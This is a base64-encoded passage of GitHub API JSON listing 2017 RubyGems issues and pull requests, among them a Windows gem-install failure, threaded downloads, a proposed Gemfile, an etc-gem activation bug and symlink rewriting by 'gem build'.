DI6MzJaIiwiY2xvc2VkX2F0IjpudWxsLCJhdXRob3JfYXNzb2NpYXRpb24iOiJOT05FIiwiYm9keSI6IkluIFdpbmRvd3MgMTAgYXR0ZW1wdGluZyB0byBpbnN0YWxsIGFueXRoaW5nIHdpdGggYGJ1bmRsZWAgaXMgcmVzdWx0aW5nIGluIGdlbXMgb25lIGJ5IG9uZSBlcnJvcmluZy4gUnVubmluZyBgZ2VtIGluc3RhbGxgIG9uIHRoZSBhZmZlY3RlZCBnZW0gZmFpbHMgd2l0aCB0aGlzIG1lc3NhZ2luZzpcclxuIVtpbWFnZV0oaHR0cHM6Ly9jbG91ZC5naXRodWJ1c2VyY29udGVudC5jb20vYXNzZXRzLzM1MDQ3MjgvMjU0MDY5NjMvOGZjMGE5NzItMjlkNi0xMWU3LTg3MDQtM2EwM2M4MzBlMDNlLnBuZylcclxuXHJcbklmIGkgcnVuIGBnZW0gaW5zdGFsbCBsaWIgLS1wbGF0Zm9ybT1ydWJ5IC0tdmVyYm9zZWAgaG93ZXZlciwgaXQgd29ya3MuIFRoaXMgaXMgYSB2ZXJ5IGN1bWJlcnNvbWUgd29ya2Fyb3VuZCBmb3IgYW55IGBidW5kbGVgIGNhbGwgdGhhdCBoYXMgbW9yZSB0aGFuIGEgZmV3IGxpYnJhcmllcy5cclxuXHJcblRoaXMgaXNzdWUgaXMgcmVsYXRlZCB0bzpcclxuXHJcbiAgLSBbIF0gTmV0d29yayBwcm9ibGVtc1xyXG4gIC0gW3hdIEluc3RhbGxpbmcgYSBsaWJyYXJ5XHJcbiAgLSBbIF0gUHVibGlzaGluZyBhIGxpYnJhcnlcclxuICAtIFt4XSBUaGUgY29tbWFuZCBsaW5lIGBnZW1gXHJcbiAgLSBbIF0gT3RoZXJcclxuXHJcbkhlcmUgYXJlIG15IGN1cnJlbnQgZW52aXJvbm1lbnQgZGV0YWlsczpcclxuSW5zdGFsbGVkIHVzaW5nIFJhaWxzSW5zdGFsbGVyLCBXaW5kb3dzIDEwXHJcbmBgYFxyXG5QUyBnZW0gZW52IHZlcnNpb25cclxuMi42LjExXHJcblBTIHJ1YnkgLXYgIFxyXG5ydWJ5IDIuMy4zcDIyMiAoMjAxNi0xMS0yMSByZXZpc2lvbiA1Njg1OSkgW2kzODYtbWluZ3czMl1cclxuUFMgcmFpbHMgLXZcclxuUmFpbHMgNS4wLjJcclxuYGBgXHJcblxyXG5JIHdpbGwgYWJpZGUgYnkgdGhlIFtjb2RlIG9mIGNvbmR1Y3RdKGh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9ibG9iL21hc3Rlci9DT0RFX09GX0NPTkRVQ1QubWQpLlxyXG4ifSx7InVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE4OTgiLCJyZXBvc2l0b3J5X3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMiLCJsYWJlbHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTg5OC9sYWJlbHN7L25hbWV9IiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTg5OC9jb21tZW50cyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xODk4L2V2ZW50cyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGwvMTg5OCIsImlkIjoyMjI1NDc5MzMsIm51bWJlciI6MTg5OCwidGl0bGUiOiJbV0lQXSBEb3dubG9hZCBnZW1zIHdpdGggdGhyZWFkcyIsInVzZXIiOnsibG9naW4iOiJpbmRpcmVjdCIsImlkIjo3OCwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvNzg/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2luZGlyZWN0IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vaW5kaXJlY3QiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9pbmRpcmVjdC9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9pbmRpcmVjdC9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9pbmRpcmVjdC9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaW5kaXJlY3Qvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9pbmRpcmVjdC9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2luZGlyZWN0L29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2luZGlyZWN0L3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaW5kaXJlY3QvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2luZGlyZWN0L3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJsYWJlbHMiOlt7ImlkIjoxMTIyMTksInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvbGFiZWxzL2NhdGVnb3J5OiUyMGluc3RhbGwiLCJuYW1lIjoiY2F0ZWdvcnk6IGluc3RhbGwiLCJjb2xvciI6IjBiMDJlMSIsImRlZmF1bHQiOmZhbHNlfSx7ImlkIjo0NDMzMDY4MDUsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvbGFiZWxzL3R5cGU6JTIwZmVhdHVyZSUyMGltcGxlbWVudGF0aW9uIiwibmFtZSI6InR5cGU6IGZlYXR1cmUgaW1wbGVtZW50YXRpb24iLCJjb2xvciI6ImJmZTViZiIsImRlZmF1bHQiOmZhbHNlfV0sInN0YXRlIjoib3BlbiIsImxvY2tlZCI6ZmFsc2UsImFzc2lnbmVlIjpudWxsLCJhc3NpZ25lZXMiOltdLCJtaWxlc3RvbmUiOm51bGwsImNvbW1lbnRzIjoxMiwiY3JlYXRlZF9hdCI6IjIwMTctMDQtMThUMjE6MTU6MTFaIiwidXBkYXRlZF9hdCI6IjIwMTctMTAtMTRUMDI6NTY6MDlaIiwiY2xvc2VkX2F0IjpudWxsLCJhdXRob3JfYXNzb2NpYXRpb24iOiJPV05FUiIsInB1bGxfcmVxdWVzdCI6eyJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGxzLzE4OTgiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxsLzE4OTgiLCJkaWZmX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxsLzE4OTguZGlmZiIsInBhdGNoX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxsLzE4OTgucGF0Y2gifSwiYm9keSI6IlRoaXMgUFIgc3VwZXJjZWRlcyAjNjQ5LCBpbXBsZW1lbnRpbmcgdGhyZWFkZWQgZG93bmxvYWRzIGZvciBnZW1zLiAoSW1wbGVtZW50ZWQgd2hpbGUgcGFpcmluZyB3aXRoIEBkdWNraW5hdG9yKS5cclxuXHJcbi0tLVxyXG5cclxuKEZvbGxvd2luZyB3YXMgYWRkZWQgYnkgQGR1Y2tpbmF0b3I6KVxyXG5cclxuVE9ETzpcclxuXHJcbjUuIFsgXSBUZXN0cyFcclxuNC4gW3hdIFVzZSBgbG9ja2VkX3B1dHNgIGluIFtgVGhyZWFkZWREb3dubG9hZFJlcG9ydGVyI2ZldGNoYF0oaHR0cHM6Ly9naXRodWIuY29tL2R1Y2tpbmF0b3IvcnVieWdlbXMvYmxvYi9kYjRhMzBhYzNiNWQ5MDE5MDBlMGY2Nzc3ZmMwYjIwYmY1ODIyZmIwL2xpYi9ydWJ5Z2Vtcy91c2VyX2ludGVyYWN0aW9uLnJiI0w1OTctTDYwMylcclxuMy4gWyBdIEFjdHVhbGx5IHVzZSBgVGhyZWFkZWREb3dubG9hZFJlcG9ydGVyYC5cclxuNC4gWyBdIFJlbW92ZSBgVmVyYm9zZURvd25sb2FkUmVwb3J0ZXJgLlxyXG41LiBbIF0gVmVyaWZ5IHRoYXQgdGhlIFtwcmVleGlzdGluZyBgcmVxLnNwZWMuaW5zdGFsbGAgY2FsbF0oaHR0cHM6Ly9naXRodWIuY29tL2R1Y2tpbmF0b3IvcnVieWdlbXMvYmxvYi9kYjRhMzBhYzNiNWQ5MDE5MDBlMGY2Nzc3ZmMwYjIwYmY1ODIyZmIwL2xpYi9ydWJ5Z2Vtcy9yZXF1ZXN0X3NldC5yYiNMMTk1LUwxOTcpIHVzZXMgdGhlIGNhY2hlZCB2ZXJzaW9uLlxyXG42LiBbIF0gV2hlbiBhIGdlbSBpcyBbYmVpbmcgZG93bmxvYWRlZCBieSB0aGUgdGhyZWFkIHF1ZXVlXShodHRwczovL2dpdGh1Yi5jb20vZHVja2luYXRvci9ydWJ5Z2Vtcy9ibG9iL2RiNGEzMGFjM2I1ZDkwMTkwMGUwZjY3NzdmYzBiMjBiZjU4MjJmYjAvbGliL3J1YnlnZW1zL3JlcXVlc3Rfc2V0LnJiI0wxNzQpLCBzYXZlIGl0IHRvIHRoZSBjYWNoZS4gKFRoaXMgaXMgS2luZCBPZiBJbXBvcnRhbnQmdHJhZGU7LilcclxuICAgICogWyBdIFByZXJlcXVpc2l0ZTogRmlndXJlIG91dCB3aGVyZSB0aGUgaGVsbCBpdCdzIHNhdmluZyBpdCBjdXJyZW50bHk/XHJcbiJ9LHsidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTg5NyIsInJlcG9zaXRvcnlfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2VtcyIsImxhYmVsc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xODk3L2xhYmVsc3svbmFtZX0iLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xODk3L2NvbW1lbnRzIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE4OTcvZXZlbnRzIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE4OTciLCJpZCI6MjIyNTQ3MjM3LCJudW1iZXIiOjE4OTcsInRpdGxlIjoiUnVieUdlbXMgc2hvdWxkIGhhdmUgYSBHZW1maWxlIiwidXNlciI6eyJsb2dpbiI6ImluZGlyZWN0IiwiaWQiOjc4LCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS83OD92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaW5kaXJlY3QiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9pbmRpcmVjdCIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2luZGlyZWN0L2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2luZGlyZWN0L2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2luZGlyZWN0L2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9pbmRpcmVjdC9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2luZGlyZWN0L3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaW5kaXJlY3Qvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaW5kaXJlY3QvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9pbmRpcmVjdC9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaW5kaXJlY3QvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImxhYmVscyI6W3siaWQiOjQ0MzI5MzU4OSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9sYWJlbHMvdHlwZTolMjBhZG1pbmlzdHJhdGl2ZSIsIm5hbWUiOiJ0eXBlOiBhZG1pbmlzdHJhdGl2ZSIsImNvbG9yIjoiYmZlNWJmIiwiZGVmYXVsdCI6ZmFsc2V9XSwic3RhdGUiOiJvcGVuIiwibG9ja2VkIjpmYWxzZSwiYXNzaWduZWUiOm51bGwsImFzc2lnbmVlcyI6W10sIm1pbGVzdG9uZSI6bnVsbCwiY29tbWVudHMiOjUsImNyZWF0ZWRfYXQiOiIyMDE3LTA0LTE4VDIxOjEyOjI0WiIsInVwZGF0ZWRfYXQiOiIyMDE3LTA3LTIyVDE4OjM2OjUwWiIsImNsb3NlZF9hdCI6bnVsbCwiYXV0aG9yX2Fzc29jaWF0aW9uIjoiT1dORVIiLCJib2R5IjoiRGV2ZWxvcGluZyBSdWJ5R2VtcyBkZXBlbmRzIG9uIHNwZWNpZmljIHZlcnNpb25zIG9mIHNwZWNpZmljIGdlbXMuIFJ1YnlHZW1zIGlzIHVuYWJsZSB0byBwcm92aWRlIHRoZSB2ZXJzaW9ucyByZXF1ZXN0ZWQgYnkgdGhlIHJ1YnlnZW1zLXVwZGF0ZSBnZW1zcGVjLCByZXN1bHRpbmcgaW4gYWN0aXZhdGlvbiBlcnJvcnMgd2hpbGUgYXR0ZW1wdGluZyB0byBydW4gdGhlIHRlc3RzLiBCZWhvbGQ6XHJcblxyXG5gYGBcclxuJCBjZCBydWJ5Z2Vtcy9ydWJ5Z2Vtc1xyXG4kIHJha2UgbmV3YlxyXG5naXQgc3VibW9kdWxlIHVwZGF0ZSAtLWluaXRcclxucmFrZSBhYm9ydGVkIVxyXG5HZW06OkxvYWRFcnJvcjogY2FuJ3QgYWN0aXZhdGUgcmFrZS0xMC41LjAsIGFscmVhZHkgYWN0aXZhdGVkIHJha2UtMTIuMC4wXHJcbmBgYFxyXG5cclxuVG8gcmVzb2x2ZSB0aGlzLCBSdWJ5R2VtcyBzaG91bGQgaW5jbHVkZSBhIEdlbWZpbGUsIGFsbG93aW5nIHVzZXJzIHRvIGFjdGl2YXRlIGEgc2V0IG9mIGdlbXMgY29tcGF0aWJsZSB3aXRoIGRldmVsb3BpbmcgdGhlIGN1cnJlbnQgdmVyc2lvbiBvZiBSdWJ5R2Vtcy4ifSx7InVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE4ODgiLCJyZXBvc2l0b3J5X3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMiLCJsYWJlbHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTg4OC9sYWJlbHN7L25hbWV9IiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTg4OC9jb21tZW50cyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xODg4L2V2ZW50cyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xODg4IiwiaWQiOjIxOTQyNjY5MywibnVtYmVyIjoxODg4LCJ0aXRsZSI6IlJlcXVpcmluZyBydWJ5Z2Vtcy9jb25maWdfZmlsZSBhY3RpdmF0ZXMgdGhlIGV0YyBnZW0iLCJ1c2VyIjp7ImxvZ2luIjoic2VnaWRkaW5zIiwiaWQiOjE5NDY2MTAsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMxLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzE5NDY2MTA/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3NlZ2lkZGlucyIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImxhYmVscyI6W3siaWQiOjExMjIzMCwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9sYWJlbHMvdHlwZTolMjBidWclMjByZXBvcnQiLCJuYW1lIjoidHlwZTogYnVnIHJlcG9ydCIsImNvbG9yIjoiYmZlNWJmIiwiZGVmYXVsdCI6ZmFsc2V9XSwic3RhdGUiOiJvcGVuIiwibG9ja2VkIjpmYWxzZSwiYXNzaWduZWUiOnsibG9naW4iOiJoc2J0IiwiaWQiOjEyMzAxLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS8xMjMwMT92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidCIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL2hzYnQiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJhc3NpZ25lZXMiOlt7ImxvZ2luIjoiaHNidCIsImlkIjoxMjMwMSwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTIzMDE/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9oc2J0IiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfV0sIm1pbGVzdG9uZSI6bnVsbCwiY29tbWVudHMiOjIsImNyZWF0ZWRfYXQiOiIyMDE3LTA0LTA1VDAwOjI0OjQzWiIsInVwZGF0ZWRfYXQiOiIyMDE3LTA0LTEwVDA3OjE3OjU0WiIsImNsb3NlZF9hdCI6bnVsbCwiYXV0aG9yX2Fzc29jaWF0aW9uIjoiT1dORVIiLCJib2R5IjoiT24gUnVieSAyLjUsIHJlcXVpcmluZyBgcnVieWdlbXMvY29uZmlnX2ZpbGVgIHdpbGwgYWN0aXZhdGUgdGhlIGRlZmF1bHQgYGV0Y2AgZ2VtLiJ9LHsidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTg4MSIsInJlcG9zaXRvcnlfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2VtcyIsImxhYmVsc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xODgxL2xhYmVsc3svbmFtZX0iLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xODgxL2NvbW1lbnRzIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE4ODEvZXZlbnRzIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE4ODEiLCJpZCI6MjE3OTY0MTg1LCJudW1iZXIiOjE4ODEsInRpdGxlIjoic3ltbGlua3MgY29udGFpbmluZyAuLiBnZXQgcmV3cml0dGVuIHRvIGFuIGluY29ycmVjdCB0YXJnZXQgYnkgYGdlbSBidWlsZGAiLCJ1c2VyIjp7ImxvZ2luIjoicGV0ZXJ0c2VuZyIsImlkIjozNDYxODEsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMyLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzM0NjE4MT92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcGV0ZXJ0c2VuZyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3BldGVydHNlbmciLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9wZXRlcnRzZW5nL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3BldGVydHNlbmcvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcGV0ZXJ0c2VuZy9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcGV0ZXJ0c2VuZy9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3BldGVydHNlbmcvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9wZXRlcnRzZW5nL29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3BldGVydHNlbmcvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9wZXRlcnRzZW5nL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9wZXRlcnR